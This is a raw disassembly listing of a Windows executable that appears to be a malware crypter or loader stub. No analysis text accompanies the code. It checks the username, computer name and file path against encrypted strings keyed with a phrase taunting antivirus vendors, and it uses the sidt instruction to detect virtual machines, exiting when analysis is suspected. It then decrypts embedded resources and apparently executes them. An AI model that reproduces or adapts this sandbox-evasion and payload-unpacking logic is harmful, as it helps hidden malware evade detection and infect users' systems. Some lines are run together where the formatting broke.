		push	offset loc_404E49


loc_404E39:				; CODE XREF: sub_404DD4+73j
		lea	eax, [ebp+var_4]
		call	sub_403560
		retn
; ---------------------------------------------------------------------------


loc_404E42:				; DATA XREF: sub_404DD4+11o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_404E39
; ---------------------------------------------------------------------------


loc_404E49:				; CODE XREF: sub_404DD4+6Dj
					; DATA XREF: sub_404DD4+60o
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_404DD4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_404E50	proc near		; CODE XREF: sub_404E94+46p

var_108		= dword	ptr -108h
var_104		= byte ptr -104h

		push	ebx
		add	esp, 0FFFFFEFCh
		mov	ebx, eax
		mov	[esp+108h+var_108], 100h
		push	esp
		lea	eax, [esp+10Ch+var_104]
		push	eax
		call	ds:dword_4076B4
		test	eax, eax
		jz	short loc_404E82
		mov	eax, ebx
		lea	edx, [esp+108h+var_104]
		mov	ecx, 100h
		call	sub_403670
		jmp	short loc_404E89
; ---------------------------------------------------------------------------


loc_404E82:				; CODE XREF: sub_404E50+1Ej
		mov	eax, ebx
		call	sub_403560


loc_404E89:				; CODE XREF: sub_404E50+30j
		add	esp, 104h
		pop	ebx
		retn
sub_404E50	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404E94	proc near		; CODE XREF: sub_40520Cp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		xor	eax, eax
		push	ebp
		push	offset loc_404F1D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	ebx, ebx
		lea	eax, [ebp+var_4]
		call	sub_404DD4
		mov	eax, [ebp+var_4]
		push	eax
		lea	ecx, [ebp+var_8]
		mov	edx, offset aIam1337rofl@_2 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404F60
		call	sub_403E78
		mov	edx, [ebp+var_8]
		pop	eax
		call	sub_403748
		jnz	short loc_404F02
		lea	eax, [ebp+var_C]
		call	sub_404E50
		mov	eax, [ebp+var_C]
		push	eax
		lea	ecx, [ebp+var_10]
		mov	edx, offset aIam1337rofl@_2 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_404F74
		call	sub_403E78
		mov	edx, [ebp+var_10]
		pop	eax
		call	sub_403748
		jnz	short loc_404F02
		mov	bl, 1


loc_404F02:				; CODE XREF: sub_404E94+41j
					; sub_404E94+6Aj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_404F24


loc_404F0F:				; CODE XREF: sub_404E94+8Ej
		lea	eax, [ebp+var_10]
		mov	edx, 4
		call	sub_403584
		retn
; ---------------------------------------------------------------------------


loc_404F1D:				; DATA XREF: sub_404E94+Do
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_404F0F
; ---------------------------------------------------------------------------


loc_404F24:				; CODE XREF: sub_404E94+88j
					; DATA XREF: sub_404E94+76o
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_404E94	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 21h
aIam1337rofl@_2	db 'IAM1337ROFL@AVsESPECIALLYSYMANTEC',0 ; DATA XREF: sub_404E94+29o
					; sub_404E94+52o
		align 4
		dd 0FFFFFFFFh, 8
dword_404F60	dd 0ED432F4Eh, 0A1D1E7C7h, 0		dd 0FFFFFFFFh, 0Ch
dword_404F74	dd 0CF6B1358h, 96F9D2DCh, 0E9383372h, 0
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F84	proc near		; CODE XREF: sub_40520C+1Bp

var_7		= byte ptr -7
var_6		= byte ptr -6

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		lea	eax, [ebp+var_7]
		sidt	fword ptr [ebp+var_6]
		cmp	dword ptr [ebp+var_6+2], 0F0000000h
		jle	short loc_404FA5
		cmp	dword ptr [ebp+var_6+2], 0FF000000h
		jg	short loc_404FB4
		jmp	short loc_404FBA
; ---------------------------------------------------------------------------


loc_404FA5:				; CODE XREF: sub_404F84+14j
		cmp	dword ptr [ebp+var_6+2], 0D0000000h
		jle	short loc_404FBA
		mov	[ebp+var_7], 1
		jmp	short loc_404FBE
; ---------------------------------------------------------------------------


loc_404FB4:				; CODE XREF: sub_404F84+1Dj
		mov	[ebp+var_7], 2
		jmp	short loc_404FBE
; ---------------------------------------------------------------------------


loc_404FBA:				; CODE XREF: sub_404F84+1Fj
					; sub_404F84+28j
		mov	[ebp+var_7], 0


loc_404FBE:				; CODE XREF: sub_404F84+2Ej
					; sub_404F84+34j
		mov	al, [eax]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_404F84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FC4	proc near		; CODE XREF: sub_40520C+12p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	ebx
		xor	eax, eax
		push	ebp
		push	offset loc_405026
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_4]
		xor	eax, eax
		call	sub_402A6C
		mov	eax, [ebp+var_4]
		push	eax
		lea	ecx, [ebp+var_8]
		mov	edx, offset aIam1337rofl@_3 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_405068
		call	sub_403E78
		mov	edx, [ebp+var_8]
		pop	eax
		call	sub_403748
		jnz	short loc_405009
		mov	bl, 1
		jmp	short loc_40500B
; ---------------------------------------------------------------------------


loc_405009:				; CODE XREF: sub_404FC4+3Fj
		xor	ebx, ebx


loc_40500B:				; CODE XREF: sub_404FC4+43j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40502D


loc_405018:				; CODE XREF: sub_404FC4+67j
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_403584
		retn
; ---------------------------------------------------------------------------


loc_405026:				; DATA XREF: sub_404FC4+Bo
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_405018
; ---------------------------------------------------------------------------


loc_40502D:				; CODE XREF: sub_404FC4+61j
					; DATA XREF: sub_404FC4+4Fo
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_404FC4	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 21h
aIam1337rofl@_3	db 'IAM1337ROFL@AVsESPECIALLYSYMANTEC',0 ; DATA XREF: sub_404FC4+27o
		align 10h
		dd 0FFFFFFFFh, 0Dh
dword_405068	dd 0EC7A6658h, 0A8CCEBE8h, 0D4105C59h, 0C3h
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405078	proc near		; CODE XREF: sub_40520C+9p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		xor	eax, eax
		mov	[ebp+var_8], eax
		xor	eax, eax
		push	ebp
		push	offset loc_4050E9
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	ebx, ebx
		mov	eax, 40h
		call	sub_4027B4
		mov	esi, eax
		mov	[ebp+var_4], 40h
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	ds:dword_4076B0	; GetUserNameA
		lea	ecx, [ebp+var_8]
		mov	edx, offset aIam1337rofl@_4 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, offset dword_40512C
		call	sub_403E78
		mov	eax, [ebp+var_8]
		call	sub_4037FC
		cmp	esi, eax
		jnz	short loc_4050D3
		mov	bl, 1


loc_4050D3:				; CODE XREF: sub_405078+57j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4050F0


loc_4050E0:				; CODE XREF: sub_405078+76j
		lea	eax, [ebp+var_8]
		call	sub_403560
		retn
; ---------------------------------------------------------------------------


loc_4050E9:				; DATA XREF: sub_405078+10o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_4050E0
; ---------------------------------------------------------------------------


loc_4050F0:				; CODE XREF: sub_405078+70j
					; DATA XREF: sub_405078+63o
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_405078	endp

; ---------------------------------------------------------------------------
		dd 0FFFFFFFFh, 21h
aIam1337rofl@_4	db 'IAM1337ROFL@AVsESPECIALLYSYMANTEC',0 ; DATA XREF: sub_405078+3Eo
		align 4
		dd 0FFFFFFFFh, 0Bh
dword_40512C	dd 0ED542958h, 91C8E8ECh, 7174Fh
; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405138	proc near		; CODE XREF: CODE:00405341p
					; CODE:00405394p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_4051B2
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		nop
		lea	edx, [ebp+var_10]
		mov	eax, ebx
		call	sub_404D90
		mov	eax, [ebp+var_10]
		call	sub_404DC8
		lea	edx, [ebp+var_C]
		call	sub_404D90
		mov	eax, [ebp+var_C]
		call	sub_404DC8
		lea	edx, [ebp+var_8]
		call	sub_404D90
		mov	eax, [ebp+var_8]
		call	sub_404DC8
		lea	edx, [ebp+var_4]
		call	sub_404D90
		mov	eax, [ebp+var_4]
		call	sub_404DC8
		mov	ebx, eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4051B9


loc_4051A4:				; CODE XREF: sub_405138+7Fj
		lea	eax, [ebp+var_10]
		mov	edx, 4
		call	sub_403584
		retn
; ---------------------------------------------------------------------------


loc_4051B2:				; DATA XREF: sub_405138+Fo
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_4051A4
; ---------------------------------------------------------------------------


loc_4051B9:				; CODE XREF: sub_405138+79j
					; DATA XREF: sub_405138+67o
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_405138	endp


; =============== S U B	R O U T	I N E =======================================



sub_4051C0	proc near		; CODE XREF: CODE:004052E7p
					; CODE:00405357p
		push	ebx
		push	esi
		mov	esi, eax
		push	0Ah
		push	edx
		mov	eax, ds:dword_407650
		push	eax
		call	ds:dword_4076B8	; FindResourceA
		mov	ebx, eax
		push	ebx
		mov	eax, ds:dword_407650
		push	eax
		call	ds:dword_4076BC	; SizeofResource
		mov	[esi], eax
		push	ebx
		mov	eax, ds:dword_407650
		push	eax
		call	ds:dword_4076C0	; LoadResource
		mov	ebx, eax
		push	ebx
		call	ds:dword_4076C4	; SetHandleCount
		mov	esi, eax
		test	esi, esi
		jz	short loc_405207
		push	ebx
		call	ds:dword_4076C8	; FreeResource


loc_405207:				; CODE XREF: sub_4051C0+3Ej
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_4051C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40520C	proc near		; CODE XREF: CODE:004052D8p
		call	sub_404E94
		cmp	al, 1
		jz	short loc_405230
		call	sub_405078
		cmp	al, 1
		jz	short loc_405230
		call	sub_404FC4
		cmp	al, 1
		jz	short loc_405230
		call	sub_404F84
		cmp	al, 2
		jnz	short locret_405237


loc_405230:				; CODE XREF: sub_40520C+7j
					; sub_40520C+10j ...
		xor	eax, eax
		call	sub_403548
; ---------------------------------------------------------------------------

locret_405237:				; CODE XREF: sub_40520C+22j
		retn
sub_40520C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405238	proc near		; DATA XREF: CODE:004052A4o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_405257
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40525E


loc_405256:				; CODE XREF: sub_405238+24j
		retn
; ---------------------------------------------------------------------------


loc_405257:				; DATA XREF: sub_405238+6o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_405256
; ---------------------------------------------------------------------------


loc_40525E:				; CODE XREF: sub_405238:loc_405256j
					; DATA XREF: sub_405238+19o
		pop	ebp
		retn
sub_405238	endp

; ---------------------------------------------------------------------------
dword_405260	dd 8							; BSS:off_407628o
		dd offset off_405268
off_405268	dd offset loc_403C84	; DATA XREF: CODE:00405264o
		dd offset sub_403C54
		dd offset sub_403A78
		dd offset sub_403A24
		dd offset sub_403CBC
		dd offset sub_403C8C
		dd offset sub_403D0C
		dd offset sub_403CDC
		dd offset sub_403F10
		dd offset sub_403EE0
		dd offset sub_4041B8
		dd offset sub_404188
		dd offset sub_4049CC
		dd offset sub_40499C
		dd 0
		dd offset sub_405238
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	ecx, 4


loc_4052B0:				; CODE XREF: CODE:004052B5j
		push	0
		push	0
		dec	ecx
		jnz	short loc_4052B0
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, offset dword_405260
		call	sub_403C10
		xor	eax, eax
		push	ebp
		push	offset loc_405444
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	sub_4049DC
		call	sub_40520C
		mov	edx, offset dword_405454
		mov	eax, offset dword_4076D0
		call	sub_4051C0
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_4052FA
		push	0
		call	ds:dword_4076CC	; ExitProcess


loc_4052FA:				; CODE XREF: CODE:004052F0j
		mov	edx, offset dword_4076DC
		mov	eax, ebx
		mov	ecx, ds:dword_4076D0
		call	sub_4028C8
		mov	edi, 1
		mov	eax, offset dword_4077E0
		call	sub_403560
		mov	esi, 0Ah


loc_405320:				; CODE XREF: CODE:0040541Bj
		lea	edx, [ebp-14h]
		mov	eax, edi
		call	sub_404D90
		mov	ecx, [ebp-14h]
		mov	eax, offset dword_4077E0
		mov	edx, offset dword_405460
		call	sub_4036D4
		mov	eax, 91h
		call	sub_405138
		mov	eax, ds:dword_4077E0
		call	sub_4037FC
		mov	edx, eax
		mov	eax, offset dword_4076D4
		call	sub_4051C0
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_405411
		mov	eax, offset dword_4076D8
		mov	edx, ds:dword_4076D4
		call	sub_403854
		mov	eax, offset dword_4076D8
		call	sub_40384C
		mov	edx, eax
		mov	eax, ebx
		mov	ecx, ds:dword_4076D4
		call	sub_4028C8
		mov	eax, 91h
		call	sub_405138
		lea	ecx, [ebp-18h]
		mov	edx, offset aIam1337rofl@_5 ; "IAM1337ROFL@AVsESPECIALLYSYMANTEC"
		mov	eax, ds:dword_4076D8
		call	sub_403E78
		mov	edx, [ebp-18h]
		mov	eax, offset dword_4076D8
		call	sub_4035B4
		mov	eax, ds:dword_4076D8
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		call	sub_403F24
		mov	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		call	sub_4040B4
		mov	edx, [ebp-1Ch]
		mov	eax, offset dword_4076D8
		call	sub_4035B4
		mov	eax, 91h
		call	sub_405138
		push	0
		lea	edx, [ebp-24h]
		xor	eax, eax
		call	sub_402A6C
		mov	eax, [ebp-24h]
		push	eax
		mov	eax, offset dword_4076D8
		call	sub_40384C
		xor	ecx, ecx
		pop	edx
		call	sub_4046C0
		test	al, al
		jmp	short loc_405419
; ---------------------------------------------------------------------------


loc_405411:				; CODE XREF: CODE:00405360j
		push	0
		call	ds:dword_4076CC	; ExitProcess


loc_405419:				; CODE XREF: CODE:0040540Fj
		inc	edi
		dec	esi
		jnz	loc_405320
		push	0
		call	ds:dword_4076CC	; ExitProcess
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40544B


loc_405436:				; CODE XREF: CODE:00405449j
		lea	eax, [ebp-24h]
		mov	edx, 5
		call	sub_403584
		retn
; ---------------------------------------------------------------------------


loc_405444:				; DATA XREF: CODE:004052C8o
		jmp	loc_402FD4
; ---------------------------------------------------------------------------
		jmp	short loc_405436
; ---------------------------------------------------------------------------


loc_40544B:				; CODE XREF: CODE:00405443j
					; DATA XREF: CODE:00405431o
		pop	edi
		pop	esi
		pop	ebx
		call	sub_403468
; ---------------------------------------------------------------------------
		align 4
dword_405454	dd 544553h, 0FFFFFFFFh,	2dword_405460	dd 4643h, 0FFFFFFFFh, 21haIam1337rofl@_5	db 'IAM1337ROFL@AVsESPECIALLYSYMANTEC',0 ; DATA XREF: CODE:0040539Co
		align 10h
CODE		ends

; Section 2. (virtual address 00006000)
; Virtual size			: 000000C4 (	196.)
; Section size in file		: 000000C4 (	196.)
; Offset to raw	data for section: 00006000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
DATA		segment	para public 'DATA' use32
		assume cs:DATA
		;org 406000h
dword_406000	dd 0							; sub_4033AC+2w ...
dword_406004	dd 0							; sub_403350+37r ...
byte_406008	db 2			; DATA XREF: sub_403A78+Dw
		db 8Dh,	40h, 0
word_40600C	dw 1332h		; DATA XREF: sub_402CDC+6r
					; sub_402CDC:loc_402D54r ...
		dw 0C08Bh
byte_406010	db 0			; DATA XREF: sub_402DB8r sub_402DD4r ...
		db 8Dh,	40h, 0
byte_406014	db 0			; DATA XREF: sub_403230-336r
					; sub_403230:loc_402F35r
		db 8Dh,	40h, 0
byte_406018	db 0			; DATA XREF: sub_4033DC:loc_40343Dr
		db 8Dh,	40h, 0
dword_40601C	dd 0		dword_406020	dd 0		off_406024	dd offset sub_402160	; DATA XREF: sub_4027B4+Ar
					; sub_402804+3Fr
off_406028	dd offset sub_40230C	; DATA XREF: sub_4027E4+5r
					; sub_402804+26r
off_40602C	dd offset sub_4026E8	; DATA XREF: sub_402804+Dr
byte_406030	db 0			; DATA XREF: sub_402860+36r
aRsu		db '',0
aFxn@		db '@',0
aError		db 'Error',0            ; DATA XREF: sub_4033DC+6Co
		dw 0C08Bh
aRuntimeErrorAt	db 'Runtime error     at 00000000',0 ; DATA XREF: sub_403350+3o
					; sub_4033DC+32o ...
		dw 0C08Bh
byte_406074	db 30h			; DATA XREF: sub_403350+41r
		db 31h,	32h, 33h
		dd 37363534h, 42413938h, 46454443h
TlsIndex	dd 0			; DATA XREF: sub_403B80+Cr
					; sub_403B80+37r ...
dword_406088	dd 0							; sub_403C10+33o ...
dword_40608C	dd 400000h	dword_406090	dd 0		dword_406094	dd 0				align 10h
dword_4060A0	dd 1				dd 10h,	2, 20h,	4, 40h,	4, 40h
off_4060C0	dd offset dword_40769C	; DATA XREF: sub_4049DC+20Br
					; sub_4049DC+214r ...
DATA		ends

; Section 3. (virtual address 00007000)
; Virtual size			: 000007E5 (   2021.)
; Section size in file		: 000007E5 (   2021.)
; Offset to raw	data for section: 00007000
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
BSS		segment	para public '' use32
		assume cs:BSS
		;org 407000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
off_407000	dd offset sub_4038B8	; DATA XREF: sub_403A78+2Fw
dword_407004	dd 0		dword_407008	dd 0							; sub_402860+16r
dword_40700C	dd 0							; CODE:004031A0r
off_407010	dd offset sub_401008	; DATA XREF: sub_402DB8+14r
					; sub_402DD4+16r ...
off_407014	dd offset sub_401010	; DATA XREF: sub_403230-2B6r
					; CODE:00403188r ...
dword_407018	dd 0							; sub_403468+B7r
dword_40701C	dd 400000h	dword_407020	dd 6C8h		byte_407024	db 0			; DATA XREF: sub_403310+33w
		align 4
dword_407028	dd 0Ah		dword_40702C	dd 142340h	dword_407030	dd 0		byte_407034	db 0			; DATA XREF: sub_4033DC+1r
byte_407035	db 0			; DATA XREF: sub_401904+1Cr
					; sub_401904:loc_4019B8r ...
byte_407036	db 2			; DATA XREF: sub_403A78+28w
		align 4
dword_407038	dd 0							; sub_403A24+19o
word_40703C	dw 0D7B0h		; DATA XREF: sub_403A78+4Cw
		align 10h
		dd 71h dup(0)
dword_407204	dd 0							; sub_403A24+23o
word_407208	dw 0D7B0h		; DATA XREF: sub_4033DC+Ar
					; sub_403A78+55w
		align 10h
dword_407210	dd 0				align 10h
dword_407220	dd 0				dd 6Bh dup(0)
dword_4073D0	dd 0		word_4073D4	dw 0D7B0h		; DATA XREF: sub_403A78+5Ew
		align 4
		dd 71h dup(0)
dword_40759C	dd 1							; sub_402018+C3w ...
dword_4075A0	dd 40h							; sub_402018+CCw ...
dword_4075A4	dd 0							; sub_403A78w
dword_4075A8	dd 3							; sub_403A78+B2w ...
byte_4075AC	db 0			; DATA XREF: sub_401904+A0w
					; sub_401904:loc_4019D3r ...
		align 10h
dword_4075B0	dd 0							; sub_4015C8+99w ...
dword_4075B4	dd 6 dup(0)						; sub_401904+25o ...
dword_4075CC	dd 0							; sub_4010FC+3Cw ...
dword_4075D0	dd 147A5Ch						; sub_4011E4+22r ...
off_4075D4	dd offset off_4075D4	; DATA XREF: sub_401364+3Eo
					; sub_4013C8+51o ...
		dd offset off_4075D4
		dd 2 dup(0)
off_4075E4	dd offset off_4075E4	; DATA XREF: sub_401684+Do
					; sub_40172C+12o ...
		dd offset off_4075E4
		dd 2 dup(0)
aDzdz:					; DATA XREF: sub_401904+80o
					; sub_402018:loc_40202Fr
		unicode	0, <DD>,0
		align 10h
dword_407600	dd 870044h						; sub_401ADC+4r ...
dword_407604	dd 0		dword_407608	dd 0							; sub_401EA8+2Er ...
dword_40760C	dd 0							; sub_401904+5Er ...
off_407610	dd offset off_407610	; DATA XREF: sub_401904+43o
					; sub_4019DC+90o ...
		dd offset off_407610
		align 10h
dword_407620	dd 0							; sub_4032A0+9o ...
dword_407624	dd 12FFB4h						; sub_403208+2r
off_407628	dd offset dword_405260	; DATA XREF: sub_403310+14w
dword_40762C	dd 0		off_407630	dd offset dword_406088	; DATA XREF: sub_403310+20w
		dd 6 dup(0)
byte_40764C	db 0			; DATA XREF: sub_403BC4r
		align 10h
dword_407650	dd 400000h						; sub_403C10+16r ...
dword_407654	dd 0							; CODE:loc_403C84w
dword_407658	dd 0		dword_40765C	dd 0							; sub_403CBCw
dword_407660	dd 0							; sub_403D0Cw
dword_407664	dd 0							; sub_403F10w
dword_407668	dd 0							; sub_4041B8w
dword_40766C	dd 0							; sub_403F24+DBr
dword_407670	dd 0							; sub_403F24+A8r ...
dword_407674	dd 0							; sub_4046C0+291r
dword_407678	dd 0							; sub_4041C0+22Ew ...
dword_40767C	dd 0							; sub_4046C0+15Ar
dword_407680	dd 0							; sub_4046C0+FDr
dword_407684	dd 0							; sub_4046C0+D7r
dword_407688	dd 0							; sub_4046C0+98r
dword_40768C	dd 0							; sub_4046C0+184r ...
dword_407690	dd 0		dword_407694	dd 0							; sub_4046C0+201r
dword_407698	dd 0							; sub_4046C0+113r
dword_40769C	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrary					; sub_4041C0+234r ...
dword_4076A0	dd 0							; sub_4046C0+285r
dword_4076A4	dd 0							; sub_4049CCw
dword_4076A8	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress					; sub_4049DC+A6r ...
dword_4076AC	dd 7C81153Ch	; resolved to->KERNEL32.GetFileAttributesAdword_4076B0	dd 77DFD4C9h	; resolved to->ADVAPI32.GetUserNameA					; sub_404DD4+3Dr ...
dword_4076B4	dd 0							; sub_404E50+16r
dword_4076B8	dd 7C80BE89h	; resolved to->KERNEL32.FindResourceA					; sub_4051C0+Dr
dword_4076BC	dd 7C80BC69h	; resolved to->KERNEL32.SizeofResource					; sub_4051C0+1Cr
dword_4076C0	dd 7C809FB5h	; resolved to->KERNEL32.LoadResource					; sub_4051C0+2Br
dword_4076C4	dd 7C80CC97h	; resolved to->KERNEL32.SetHandleCount					; sub_4051C0+34r
dword_4076C8	dd 7C8260C2h	; resolved to->KERNEL32.FreeResource					; sub_4051C0+41r
dword_4076CC	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcess					; CODE:004052F4r ...
dword_4076D0	dd 0							; CODE:00405301r
dword_4076D4	dd 0							; CODE:0040536Br ...
dword_4076D8	dd 0							; CODE:00405376o ...
dword_4076DC	dd 41h dup(0)	dword_4077E0	dd 0							; CODE:0040532Do ...
		db 0
BSS		ends

; Section 4. (virtual address 00008000)
; Virtual size			: 000003F4 (   1012.)
; Section size in file		: 000003F4 (   1012.)
; Offset to raw	data for section: 00008000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata		segment	para public 'DATA' use32
		assume cs:_idata
		;org 408000h
		dd 3 dup(0)
		dd 8134h, 808Ch, 3 dup(0)
		dd 82D2h, 80E8h, 3 dup(0)
		dd 830Ah, 80F8h, 3 dup(0)
		dd 834Ah, 8108h, 3 dup(0)
		dd 8396h, 811Ch, 3 dup(0)
		dd 83D4h, 812Ch, 5 dup(0)
dword_40808C	dd 7C91188Ah	; resolved to->NTDLL.RtlDeleteCriticalSectiondword_408090	dd 7C9010EDh	; resolved to->NTDLL.RtlLeaveCriticalSectiondword_408094	dd 7C901005h	; resolved to->NTDLL.RtlEnterCriticalSectiondword_408098	dd 7C809EF1h	; resolved to->KERNEL32.InitializeCriticalSectiondword_40809C	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFreedword_4080A0	dd 7C809A51h	; resolved to->KERNEL32.VirtualAllocdword_4080A4	dd 7C80992Fh	; resolved to->KERNEL32.LocalFreedword_4080A8	dd 7C80998Dh	; resolved to->KERNEL32.LocalAllocdword_4080AC	dd 7C8111DAh	; resolved to->KERNEL32.GetVersiondword_4080B0	dd 7C809728h	; resolved to->KERNEL32.GetCurrentThreadIddword_4080B4	dd 7C80A415h	; resolved to->KERNEL32.GetThreadLocaledword_4080B8	dd 7C801EEEh	; resolved to->KERNEL32.GetStartupInfoAdword_4080BC	dd 7C80B4CFh	; resolved to->KERNEL32.GetModuleFileNameAdword_4080C0	dd 7C80D262h	; resolved to->KERNEL32.GetLocaleInfoAdword_4080C4	dd 7C812F1Dh	; resolved to->KERNEL32.GetCommandLineAdword_4080C8	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrarydword_4080CC	dd 7C81CDDAh	; resolved to->KERNEL32.ExitProcessdword_4080D0	dd 7C810D87h	; resolved to->KERNEL32.WriteFiledword_4080D4	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilterdword_4080D8	dd 7C937A40h	; resolved to->NTDLL.RtlUnwinddword_4080DC	dd 7C812A09h	; resolved to->KERNEL32.RaiseExceptiondword_4080E0	dd 7C812F39h	; resolved to->KERNEL32.GetStdHandle		align 8
dword_4080E8	dd 7E43119Bh	; resolved to->USER32.GetKeyboardTypedword_4080EC	dd 7E45058Ah	; resolved to->USER32.MessageBoxAdword_4080F0	dd 7E42DF50h	; resolved to->USER32.CharNextA		align 8
dword_4080F8	dd 77DD7883h	; resolved to->ADVAPI32.RegQueryValueExAdword_4080FC	dd 77DD761Bh	; resolved to->ADVAPI32.RegOpenKeyExAdword_408100	dd 77DD6BF0h	; resolved to->ADVAPI32.RegCloseKey		align 8
dword_408108	dd 7C809BC5h	; resolved to->KERNEL32.TlsSetValuedword_40810C	dd 7C809740h	; resolved to->KERNEL32.TlsGetValuedword_408110	dd 7C80998Dh	; resolved to->KERNEL32.LocalAllocdword_408114	dd 7C80B6A1h	; resolved to->KERNEL32.GetModuleHandleA		dd 0
dword_40811C	dd 7C801D77h	; resolved to->KERNEL32.LoadLibraryAdword_408120	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddressdword_408124	dd 7C80ABDEh	; resolved to->KERNEL32.FreeLibrary		dd 0
dword_40812C	dd 7C80ADA0h	; resolved to->KERNEL32.GetProcAddress		dd 0
aKernel32_dll	db 'kernel32.dll',0
		align 4
aDeletecritical	db 'DeleteCriticalSection',0
		align 4
aLeavecriticals	db 'LeaveCriticalSection',0
		align 4
aEntercriticals	db 'EnterCriticalSection',0
		align 4
aInitializecrit	db 'InitializeCriticalSection',0
		align 4
aVirtualfree	db 'VirtualFree',0
		dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 6F4C0000h, 466C6163h
		dd 656572h, 6F4C0000h, 416C6163h, 636F6C6Ch, 0
aGetversion	db 'GetVersion',0
		align 4
		dd 65470000h, 72754374h, 746E6572h, 65726854h, 64496461h
		dd 0
aGetthreadlocal	db 'GetThreadLocale',0
		dd 65470000h, 61745374h, 70757472h, 6F666E49h, 41h, 4D746547h
		dd 6C75646Fh, 6C694665h, 6D614E65h, 4165h, 65470000h, 636F4C74h
		dd 49656C61h, 416F666Eh, 0
aGetcommandline	db 'GetCommandLineA',0
		dd 72460000h, 694C6565h, 72617262h, 79h, 74697845h, 636F7250h
		dd 737365h, 72570000h, 46657469h, 656C69h, 6E550000h, 646E6168h
		dd 4564656Ch, 70656378h, 6E6F6974h, 746C6946h, 7265h, 74520000h
